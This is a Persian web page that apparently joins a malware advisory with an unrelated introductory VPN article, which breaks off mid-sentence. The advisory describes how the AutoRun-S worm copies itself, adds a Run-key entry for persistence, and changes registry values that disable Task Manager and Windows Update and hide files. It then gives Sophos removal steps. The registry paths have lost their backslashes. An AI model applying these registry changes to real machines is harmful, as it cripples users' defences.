AutoRun-S با اولین اجرا یک کپی از خود  را در مکان‌های زیر قرار می‌دهد  :

sos.exe
Systom.exe

سپس ، فایل‌های زیر را ایجاد می‌کند :


auToRun.inf
auToRun.inf

 

همچنین مدخل زیر در رجیستری ایجاد می‌شود تا Systom.exe بتواند با آغاز کار  سیستم ، اجرا شود :

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
crsss
Systom.exe

با تغییر مدخل زیر نیز نرم افزار سیستم از کار می‌افتد :

HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
DisableTaskMgr
1

همچنین مدخل‌های زیر  تغییر می‌کنند :

HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWindowsUpdate
DisableWindowsUpdateAccess
1

HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel
HomePage
1

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
Hidden
0

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
HideFileExt
1

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
ShowSuperHidden
0

HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
CheckedValue
0


توصیه ها :

   1 .        به روز کردن آنتی ویروس

 

  2.روش پاک سازی دستی توسط آنتی ویروس  سوفوس برای Windows NT مدل 4.5x  و Windows NT/2000/XP/2003 مدل 4.1x  و پایین تر :

 

برای حذف یک تروجان کارهای زیر را انجام دهید :

 

·          همه ی برنامه های خود را ببندید

·          مراحل Start|Programs| SophosAnti-Virus را بگذرانید وبرنامه آنتی ویروس را اجرا کنید

·          تب ''Immediate'' و سپس درایو مورد نظر  را انتخاب کنید

·          به Options|Configuration رفته و تب ''Disinfection'' یا  ''Action'' را انتخاب کرده سپس ''Infected files'' وبعد از آن ''Delete'' را انتخاب کنید  و در آخر ''OK.  را بزنید

·          برای اجرا کردن پویش، ''scan'' یا دکمه ''GO'' را بزنید

·          فایل های مورد نظر را پاک کنید ، سپس یک پویش دیگر را اجرا کنید تا مطمئن شوید پاک سازی صورت گرفته است

·          به Options|Configuration برگردید و تب ''Disinfection'' یا  ''Action'' انتخاب کرده سپس ''Infected files'' وبعد از آن ''Delete'' را انتخاب کنید  و در آخر ''OK.  را بزنید

·          کاپیوتر را Reboot کرده و پویش نهایی را اجرا کنید تا کاملا مطمئن شوید پاک ساری صورت گرفته است

 

ارائه از : sgnec

مقدمه ای بر شبکه خصوصی مجازی (VPN)  (شبکه)

شبکه خصوصی مجازی یا Virtual Private Network که به اختصار VPN نامیده می شود، امکانی است برای انتقال ترافیک خصوصی بر روی شبکه عمومی. معمولا  از VPN برای اتصال دو شبکه خصوصی از طریق یک شبکه عمومی مانند اینترنت استفاده می شود.منظور از یک شبکه خصوصی شبکه ای است که بطور آزاد در اختیار و دسترس عموم نیست. VPN به این دلیل مجازی نامیده می شود که از نظر دو شبکه خصوصی ، ارتباط از طریق یک ارتباط و شبکه خصوصی بین آنها برقرار است اما در واقع شبکه عمومی این کار را انجام می دهد. پیاده سازی VPN معمولا اتصال دو یا چند شبکه خصوصی از طریق یک تونل رمزشده انجام می شود. در واقع به این وسیله اطلاعات در حال تبادل بر روی شبکه عمومی از دید سایر کاربران محفوظ می ماند. VPN را می توان بسته به شیوه پیاده سازی و اهداف پیاده سازی آن به انواع مختلفی تقسیم کرد. 

   دسته بندی VPN براساس رمزنگاری

 VPN را می توان با توجه به استفاده یا عدم استفاده از رمزنگاری به دو گروه اصلی تقسیم کرد:

1- VPNرمزشده : VPN های رمز شده از انواع مکانیزمهای رمزنگاری برای انتقال امن اطلاعات بر روی شبکه عمومی استفاده می کنند. یک نمونه خوب از این VPN ها ، شبکه های خصوصی مجازی اجرا شده به کمک IPSec  هستند.

2- VPN رمزنشده : این نوع از VPN برای اتصال دو یا چند شبکه خصوصی با هدف استفاده از منابع شبکه یکدیگر ایجاد می شود. اما امنیت اطلاعات در حال تبادل حائز اهمیت نیست یا این که این امنیت با روش دیگری غیر از رمزنگاری تامین می شود. یکی از این روشها تفکیک مسیریابی است. منظور از تفکیک مسیریابی آن است که تنها اطلاعات در حال تبادل بین دو شبکه خصوصی به هر یک از آنها مسیر دهی می شوند. (MPLS VPN) در این مواقع می توان در لایه های بالاتر از رمزنگاری مانند SSL استفاده کرد.

هر دو روش ذکر شده می توانند با توجه به سیاست امنیتی مورد نظر ، امنیت مناسبی را برای مجموعه به ارمغان بیاورند، اما معمولا VPN های رمز شده برای ایجاد VPN امن به کار        می روند. سایر انواع VPN مانند MPLS VPN بستگی به امنیت و جامعیت عملیات مسیریابی دارند.

 دسته بندی VPN براساس لایه پیاده سازی

VPN بر اساس لایه مدل OSI که در آن پیاده سازی شده اند نیز قابل دسته بندی هستند. این موضوع از اهمیت خاصی برخوردار است. برای مثال در VPN های رمز شده ، لایه ای که در آن رمزنگاری انجام می شود در حجم ترافیک رمز شده تاثیر دارد. همچنین سطح شفافیت VPN برای کاربران آن نیز با توجه به لایه پیاده سازی مطرح می شود.

1-  VPN لایه پیوند داده : با استفاده از VPN های لایه پیوند داده می توان دو شبکه خصوصی را در لایه 2 مدل OSI با استفاده از پروتکلهایی مانند ATM یا Frame Relay به هم متصل کرد.با وجودی که این مکانیزم راه حل مناسبی به نظر می رسد اما معمولا روش ارزنی نیست چون نیاز به یک مسیر اختصاصی لایه 2 دارد. پروتکلهای Frame Relay و ATM مکانیزمهای رمزنگاری را تامین نمی کنند. آنها فقط به ترافیک اجازه می دهند تا بسته به آن که به کدام اتصال لایه 2 تعلق دارد ، تفکیک شود. بنابراین اگر به امنیت بیشتری نیاز دارید باید مکانیزمها